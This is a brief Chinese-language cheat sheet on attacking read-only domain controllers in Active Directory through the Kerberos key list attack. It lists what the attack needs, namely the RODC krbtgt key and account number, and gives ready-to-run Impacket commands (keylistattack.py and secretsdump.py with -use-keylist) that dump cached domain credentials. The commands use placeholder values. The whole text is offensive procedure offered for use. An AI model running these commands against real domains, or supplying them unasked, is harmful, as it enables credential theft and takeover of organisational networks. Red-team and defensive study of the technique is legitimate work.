Links

RODC-只读域控制器入侵

如果用户包含在Allowed RODC Password Replication中,则他们的凭据将存储在服务器中,并且 RODC 的msDS-RevealedList属性将填充用户名。
要求:
Impacket PR #1210 - Kerberos 密钥列表攻击(https://github.com/SecureAuthCorp/impacket/pull/1210)
RODC 的krbtgt凭据 (-rodcKey)
RODC的krbtgt账号ID(-rodcNo)
keylistattack.py 使用 SAMR 用户不过滤枚举(-full 标志)
>keylistattack.py DOMAIN/user:[email protected] -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -full
keylistattack.py 定义目标用户名(-t 标志)
>keylistattack.py -kdc sever.domain.local -t user -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX LIST
secretsdump.py 使用 Kerberos 密钥列表攻击选项 (-use-keylist)
>secretsdump.py DOMAIN/user:[email protected] -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -use-keylist